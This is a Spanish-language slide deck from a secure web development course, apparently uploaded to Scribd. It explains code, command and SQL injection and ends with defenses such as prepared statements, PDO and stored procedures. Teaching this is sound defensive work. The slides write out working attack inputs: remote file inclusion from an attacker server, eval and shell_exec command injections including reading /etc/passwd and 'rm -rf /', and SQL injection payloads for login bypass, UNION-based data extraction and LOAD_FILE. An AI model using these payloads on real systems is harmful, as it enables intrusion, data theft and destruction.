0% encontró este documento útil (0 votos)
20 vistas42 páginas

Inyección SQL (SQLi)

El documento aborda las metodologías de desarrollo seguro, enfatizando los pilares de la seguridad de la información: confidencialidad, integridad y disponibilidad. Se discuten los riesgos de seguridad en aplicaciones web, destacando las inyecciones de código y SQL como vulnerabilidades críticas. Además, se presentan estrategias de prevención para mitigar estos ataques, incluyendo el uso de declaraciones preparadas y validación de entrada.

Cargado por

rluquetti
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PPTX, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
20 vistas42 páginas

Inyección SQL (SQLi)

El documento aborda las metodologías de desarrollo seguro, enfatizando los pilares de la seguridad de la información: confidencialidad, integridad y disponibilidad. Se discuten los riesgos de seguridad en aplicaciones web, destacando las inyecciones de código y SQL como vulnerabilidades críticas. Además, se presentan estrategias de prevención para mitigar estos ataques, incluyendo el uso de declaraciones preparadas y validación de entrada.

Cargado por

rluquetti
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PPTX, PDF, TXT o lee en línea desde Scribd

Metodologías de desarrollo seguro.

Diplomatura en Desarrollo Seguro de Aplicaciones


Pilares de la seguridad de la información

Integridad
Información correcta

Confidencialidad
Para la persona correcta

Disponibilidad
En el momento correcto
Pilares de la seguridad de la información

● Confidencialidad: Es la propiedad de
la información, por la que se garantiza que
está accesible únicamente al personal
autorizado a acceder a dicha información.

Garantizar que la información es accesible


sólo para aquellos autorizados a tener
acceso.
Pilares de la seguridad de la información

● Integridad: Se refiere a la correctitud y


completitud de la información.

Es la capacidad de garantizar que los datos


no han sido modificados desde su creación
sin autorización.

Mecanismos de control como la verificación


de redundancia cíclica (CRC). Así como los
hashes (MD5, SHA-1,SHA-256) y la firma
digital nos permite garantizar la validez de la
información y detectar posibles
modificaciones.
Pilares de la seguridad de la información

● Disponibilidad: La definiremos como la


capacidad de garantizar que tanto el
sistema como los datos van a estar
disponibles al usuario en todo momento.

Los ataques de denegación de servicio


o DoS atentan contra este pilar de la
seguridad bloqueando o limitando el
acceso a la información
Riesgos de Seguridad en Aplicaciones Web
OWASP Top 10
OWASP es un proyecto de código abierto dedicado a determinar y combatir las causas que hacen que
el software sea inseguro.

● Guía OWASP: Proporciona una


guía detallada sobre la seguridad
de las aplicaciones web.

● OWASP Top 10 : Describe las


vulnerabilidades más comunes en
las aplicaciones web.

● Métricas: Define métricas


aplicables en seguridad de
aplicaciones web.

● Guía de pruebas: Guía centrada


en la prueba efectiva de la
seguridad de aplicaciones web.
Ataques de inyección en aplicaciones web

Las ataques de inyección ocurren cuando datos no confiables son enviados a un intérprete como parte de
un comando o consulta.

● Inyección de código: Permite a un atacante ejecutar código arbitrario en el servidor. Es posible debido
a una falta de validación del los datos de entrada que permite insertar una cadena de texto que será
procesada como código por el servidor.

● Inyección SQL: La inyección de código SQL es un ataque que permite insertar código malicioso en las
cadenas de consulta que posteriormente se pasan a un intérprete de SQL para su análisis y ejecución.

● Inyección de comando: Es un ataque en el que el objetivo es la ejecución de comandos arbitrarios en


el sistema operativo host a través de una aplicación vulnerable. Es posible cuando una aplicación pasa
datos no seguros proporcionados por el usuario a un shell del sistema.
Ataques de Inyección de código

Cliente/
● Falta de validación en la entrada de datos del usuario. No Navegador
se verifica el tamaño y tipo de dato ingresado
Código malicioso

● Inclusión directa de cadenas de texto no confiables en


Servidor
cadenas de consulta Web

Inyección SQL
● Inclusión directa de texto no confiable en llamadas al
sistema operativo Inyección de Servidor de
comando Base de datos
● Uso de programas externos mediante comandos de shell

Sistema
● Mal manejo de errores. Mensajes de error que exponen Operativo
información del funcionamiento interno de la aplicación.
Ataques de Inyección de código

● Si una aplicación pasa un parámetro enviado a través de una solicitud GET a la función include() de
PHP sin validación de entrada, el atacante puede intentar ejecutar un código diferente al que el
desarrollador tenía en mente.
[Link]

● Para lograr esto el atacante solo necesita reemplazar el valor del parámetro en cuestión. Suministrando
en su lugar la dirección de un archivo alojado en su propio servidor

[Link]

● El servidor vulnerable descargará el archivo del servidor atacante y lo ejecutará. Este archivo puede
contener código malicioso que le permitirá el atacante obtener información del sistema, ejecutar
comandos, instalar una backdoor, o incluso tomar control del sistema.

#evilfile example Evilfile utiliza la función phpinfo() para


extraer información de configuración del
<?php echo phpinfo(); ?>
servidor y su entorno de ejecución.
Ataques de Inyección de código

● Cuando se pasan datos no confiables a la función eval() una atacante podría valerse de esta falla de
diseño para ejecutar código arbitrario concatenando el mismo a continuación del parámetro de entrada
no validado que está siendo analizado por la función

Ejemplo de uso incorrecto de la


función evel()
Note la inclusión directa de la
variable de entrada

● Un atacante puede aprovechar esta vulnerabilidad para ejecutar código propio en el servidor

[Link] phpinfo()

● Este tipo de vulnerabilidad también puede permitir una ataque de inyección de comandos

[Link] system('id')

● El atacante utiliza la función system() para realizar una llamada al sistema


mediante la cual ejecuta el comando id para extraer el id del usuario
Ataques de Inyección de comando

● Este tipo de ataque consiste en ejecutar comandos


arbitrarios en el sistema operativo host a través de una
aplicación vulnerable

● Es posible cuando una aplicación pasa datos no


seguros proporcionados por el usuario (formularios,
cookies, encabezados HTTP) a un shell del sistema

● Los comandos se ejecutan con los privilegios de la


aplicación vulnerable

● Sin embargo un atacante experimentado podría intentar


escalar privilegios para hacerse con el usuario raíz del
sistema (NT Authority/System en el caso de Windows)
Inyección de comando ejemplo en PHP

● Inyección directa de comandos en PHP mediante la


función shell_exec()

● En un escenario con un SO base Windows el atacante


primero introduce un IP inválido de forma que el
Uso normal de la aplicación comando ping falle
[Link]
● Posteriormente utilizando el operador || (doble pipe)
Inyección: listado de directorios
concatena un comando arbitrario
[Link]
● El resultado del comando es visualizado en la ventana
Inyección: listado de procesos
del navegador web
[Link]

Inyección: sustracción de dirección IP local

[Link]
Inyección de comando ejemplo en PHP

● El siguiente script retorna el hash MD5 del


mensaje suministrado en el argumento msg

● Nuevamente el uso de la función shell_exec()


permitiría a un atacante ejecutar un comando
Uso normal de la aplicación arbitrario en el sistema operativo host
[Link]
● En este caso nos encontramos en un entorno
Inyección: listado de directorios
Linux por lo cual utilizaremos el operador “;”
[Link] -lah;hola (punto y coma) para concatenar el comando
que se desea inyectar
Inyección: listado de procesos

[Link] -aux;hola

Inyección: sustracción del archivo passwd mediante ataque de directorio transversal

[Link] cat ../../../etc/passwd;hola


Inyección de comando ejemplo en C++

● El siguiente programa acepta un nombre de


archivo como argumento de línea de
comando y muestra el contenido del mismo

● La llamada a la función system () se


ejecuta con los mismos privilegios que el
Uso normal de la aplicación
programa que realiza la llamada

~$ ./show [Link] ● Un atacante podría valerse de esto para


Comprobación de privilegios de root extraer el contenido de archivos de
configuración críticos del sistema o ejecutar
~$ ./show "[Link];whoami"
comandos arbitrarios en el SO anfitrión
Borrado del contenido de la partición raíz

~$ ./show "; rm -rf /"


Prevención de Inyección de comando

● De ser posible no utilice funciones que realicen llamadas directas al Shell de sistema
● Evite el uso de datos no seguros en combinación con funciones de ejecución de Shell directas
● Muchas de es estas funcionalidades ya están cubiertas por el propio lenguaje en que está desarrollada
la aplicación volviendo este tipo de llamadas redundantes
● De ser absolutamente necesario realizar una llamada a un procedimiento externo utilice la función
filter_input() para validar la entrada del usuario.
Inyección SQL

● La inyección de código SQL es un ataque en el cual se


inserta código malicioso en las cadenas que posteriormente
se pasan a un intérprete de SQL para su análisis y ejecución

● Este ataque es posible debido a que el intérprete ejecutará


todas las consultas recibidas que sean válidas desde el punto
de vista sintáctico.

● Consiste en la inserción directa de código en variables


especificadas por el usuario que se concatenan con
comandos SQL y se ejecutan.
Inyección SQL

HTTP GET/POST Consulta a DB

Cadena maliciosa Cadena maliciosa

Atacante Servidor Web Base de Datos

● En este tipo de ataque no se da sobre el servidor web en sí, sino sobre la base da datos que
proporciona soporte de persistencia al mismo

● El atacante utiliza formularios web, encabezados HTTP o cookies para inyectar la cadena maliciosa

● Si la información no confiable que proveniente del usuario no es debidamente escapada esto permitiría
al atacante ejecutar comandos SQL arbitrarios sobre la base de datos
Inyección SQL

Entre los motivos detrás de este tipo de ataques se pueden destacar los siguientes:

● Robo de información confidencial (números de tarjetas de crédito)

● Robo información personal (bases de datos de usuarios)

● Espionaje industrial

● Denegación de servicio

● Toma de control del servidor (botnets/phishing/minara de criptomonedas)


Inyección SQL

El atacante puede usar la


Inyección SQL como una
herramienta para lanzar un
ataque mas complejo

En este ejemplo SQLi es


utilizado para sustraer los
hashes de las contraseñas

Si éstos son factibles de ser


crackeados el atacante podría
utilizar este acceso para
instalar una backdoor en el
sistema
Inyección SQL

La concatenación directa de variables en la cadena de la consulta constituye el principal punto de entrada


para las inyecciones SQL

Nota: en SQL el operador


AND tiene prioridad
sobre el operador OR
Inyección SQL

Inyección OR 1=1. Es utilizada para evitar el inicio de sesión

SELECT * FROM accounts WHERE username= '' AND password='' or '1'='1';


En combinación con el operador # puede utilizarse para anular el campo password

SELECT * FROM accounts WHERE username= ''or '1'='1'#'AND password='';

Lo cual es equivalente a introducir la palabra reservada TRUE directamente

SELECT * FROM accounts WHERE username= ''or TRUE#'AND password='';


Ya que el campo de password queda inutilizado por el operador # podemos iniciar sesión sin conocer la
contraseña
SELECT * FROM accounts WHERE username= 'admin' #'AND password='';
Inyección SQL

Una limitante de este tipo de inyección es que la condición de verdad será valida para todo usuario de la tabla accounts por lo cual
obtendremos tantos resultados validos como usuarios existan en la tabla

SELECT * FROM accounts WHERE username= '' AND password='' or '1'='1';


Sin embargo podemos valernos del operador LIMIT para restringir el numero de resultados a 1

SELECT * FROM accounts WHERE username= ' ' or '1'='1' LIMIT 1 # 'AND
password='';
En combinación con el operador OFFSET nos es posible desplazarnos por el conjunto de resultados de uno a la vez

SELECT * FROM accounts WHERE username= ' ' or '1'='1' LIMIT 1 OFFSET 1 # 'AND
password='';
Inyección SQL

El operador UNION nos permite concatenar el resultado de dos consultas siempre que estas retornen la misma cantidad de campos
En este caso utilizamos una consulta SELECT con valores null para determinar la cantidad de columnas de la consulta original

SELECT * FROM accounts WHERE username= 'admin' UNION SELECT null,null,null #';

Alternativamente podemos utilizar valores numéricos para conocer así el orden de las columnas

SELECT * FROM accounts WHERE username= 'admin' UNION SELECT 1,2,3,4,5,6,7 #';

Como se demuestra a continuación también es posible ejecutar funciones y obtener el resultado de las mismas

SELECT * FROM accounts WHERE username= 'admin' UNION SELECT 1,now(),3,4,5,6,7 #';

Así como también es posible extraer el contendió de otras tablas ajenas a la consulta original

SELECT * FROM accounts WHERE username= 'admin' UNION SELECT1, identificationToken,


title, 4,5,6,7 FROM youtubevideos #';
Inyección SQL

También es posible utilizar esta inyección para realizar un ataque de inclusión de archivo local o LFI.
En este caso se muestra cómo sustraer el archivo hosts del sistema operativo Windows

SELECT * FROM accounts WHERE username= 'admin' UNION SELECT1,


LOAD_FILE('..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts'), 3, 4,5,6,7 #';
En el caso de sistemas Linux la inyección debería realizarse de la siguiente manera

SELECT * FROM accounts WHERE username= 'admin' UNION SELECT1,


LOAD_FILE('..\\..\\..\\etc\\hosts'), 3, 4,5,6,7 #';

También es posible utilizar esta inyección para extraer información crítica de la DB contenida en la tabla
tables. La cual a su vez se ubica en la en la base de datos information_schema

SELECT * FROM accounts WHERE username= 'admin' UNION SELECT


1,table_name, table_schema, 4,5,6,7 FROM information_schema.tables #';
Inyección SQL

Comandos útiles

● version() : Devuelve la versión del servidor MySQL

● database(): Devuelve el nombre de la base de datos actual

● current_user(): Devuelve el nombre de usuario y el host

● @@datadir: Devuelve el directorio de la base de datos


Inyección SQL

Utilizando los comandos:


● version()
● database()
● current_user()
● @@datadir

Obtener la siguiente información de la base de datos:


● Versión del servidor de base de datos
● Nombre de usuario utilizado por el script PHP
● Nombre de la base de datos
● Directorio donde se halla la misma
Prevención de inyecciones SQL

Defensas primarias:

● Opción 1: uso de declaraciones preparadas


(con consultas parametrizadas)

● Opción 2: uso de procedimientos almacenados

● Opción 3: Validación de entrada mediante lista blanca

● Opción 4: Escapar de todas las entradas proporcionadas por el usuario


Prevención de inyecciones SQL

● No haga suposiciones sobre el tamaño, tipo o contenido de los datos que recibirá la aplicación

● Compruebe el tamaño y el tipo de los datos especificados y aplique unos límites adecuados.

● Deben escaparse cuidadosamente los caracteres especiales utilizando la sintaxis de escape específica
para ese intérprete.

● También se recomienda la validación de entrada positiva o "lista blanca", pero no es una defensa
completa

● En entornos de varios niveles, todos los datos deben validarse antes de que se admitan en la zona de
confianza.
Prevención de inyecciones SQL

Una expresión regular sirve como primera defensa contra un ataque de inyección SQL. Y aunque no
proporciona una defensa completa, siempre es recomendable validar la entra del usuario antes de ejecutar
cualquier consulta a la base de datos para garantizar la integridad de la información

En el caso anterior se validan los caracteres alfabéticos con tilde y diéresis como permitidos en la variable
nombre
Prevención de inyecciones SQL

En este ejemplo se valida que la variable DNI contenga exclusivamente números así como también que la
longitud del mismo sea de 8 dígitos.

Si bien realizar este tipo de validaciones desde el código del lado del cliente mejora la experiencia de
usuario, esto no implica ninguna mejora en la seguridad ya que un atacante podría modificar/desactivar el
código Javascript responsable de llevar a cabo la validación.
Prevención de inyecciones SQL

● La función mysql_real_escape_string() nos permite escapar los caracteres peligrosos que podrían
utilizarse para lanzar un ataque de inyección SQL.

● Los datos provenientes de fuentes no confiables pueden ser sanitizados mediante el uso de esta
función
Prevención de inyecciones SQL

DELIMITER //
CREATE PROCEDURE `Inseguro`(
IN Username VARCHAR(50),
IN Password VARCHAR(50)
)
BEGIN
SET @Statement = CONCAT('SELECT * FROM accounts WHERE username = ', Username,' AND password = ', Password);

PREPARE stm FROM @Statement;


EXECUTE stm;
END //
DELIMITER ;

Este procedimiento almacenado no es realmente seguro debido a que toma los valores del las variables
Username y Password y las concatena con la consulta que luego es enviada a la declaración preparada.

Esto es lo mismo que utilizar una consulta SQL dinámica. Un atacante podría aprovechar esta vulnerabilidad
para inyectar código SQL arbitrario.
Prevención de inyecciones SQL

DELIMITER //
CREATE PROCEDURE `Seguro`(
IN Username VARCHAR(50),
IN Password VARCHAR(50)
)
BEGIN
SELECT * FROM User WHERE [Link] = Username AND [Link] = Password;
END //
DELIMITER ;

En este caso SQL precompila el procedimiento almacenado para que se convierta en una declaración
preparada a la cual posteriormente le suministra los valores de las variables username y password.
Por lo que realizar un ataque de inyección SQL se vuelve extremadamente difícil

Posteriormente llamaremos a este procedimiento almacenado desde el código del lado del servidor cuando
se requiera validar las credenciales del usuario
Prevención de inyecciones SQL

Aquí realizamos la llamada al procedimiento almacenado mediante la sentencia CALL suministrando como
parámetro las variables username y password.
Prevención de inyecciones SQL

Recomendaciones específicas del lenguaje:

● PHP: uaer PDO con consultas parametrizadas fuertemente tipadas (usando bindParam())

● Java EE: usar PreparedStatement()con variables de enlace

● .NET: usar consultas parametrizadas como SqlCommand() o OleDbCommand() con variables de enlace

● Hibernate: usar createQuery() con variables de enlace (llamadas parámetros con nombre en Hibernate)

● SQLite: utilizar sqlite3_prepare() para crear un objeto de declaración

● [Link]: utilizar marcadores de posición


PHP Data Object (PDO)

● PDO es una extensión que provee una capa de abstracción de acceso a datos para PHP.

● Permite hacer uso de las mismas funciones para hacer consultas y obtener datos de distintos
manejadores de bases de datos.

● Utiliza declaraciones preparadas y consultas parametrizadas. Estas son enviadas al servidor y


analizadas por separado de cualquier parámetro.

● De esta forma se vuelve imposible la inyección de código SQL durante la construcción de la consulta
PHP Data Object (PDO)

● Antes de poder utilizar PDO es necesario conectarse a la base de datos


● Para esto creamos un nuevo objeto PDO al cual suministraremos el usuario y contraseña de la DB así
como también el Nombre del Origen de Datos (DSN).
● El DSN contiene la información requerida para conectarse a la DB y especifica el tipo de base de datos
a utilizar
PHP Data Object (PDO)

PDO admite el uso de


excepciones. Sin embargo
para que éstas funcionen es
necesario habilitarlas durante
la creación del objeto PDO o
bien utilizando el método
setAttribute()
PHP Data Object (PDO)

Una vez creado el


objeto PDO es posible
utilizarlo para crear
declaraciones
preparadas utilizando
el método prepare()
al que suministraremos
la consulta

Luego enlazaremos los


parámetros mediante el
método bindParam()
PHP Data Object (PDO)

PDO admite el uso de


marcadores de
parámetros con nombre
los cuales vuelven la
consulta mas legible en
caso de que ésta tenga
muchos parámetros

Los cuales nuevamente


son enlazados mediante
el método bindParam()
utilizando ahora el
nombre del parámetro
PHP Data Object (PDO)

Es también posible suministrar los valores de los parámentos en el método execute() pasándolos como un
array asociativo que contendrá el nombre del marcador de posición como clave y la variable que contiene el
dato asociado al marcador como valor

Si bien este método requiere de menos líneas puede volver al código menos legible

Podemos evaluar el resultado del método execute() para conocer si la consulta tuvo éxito. El mismo
devolverá true si la operación se realizó con éxito

También podría gustarte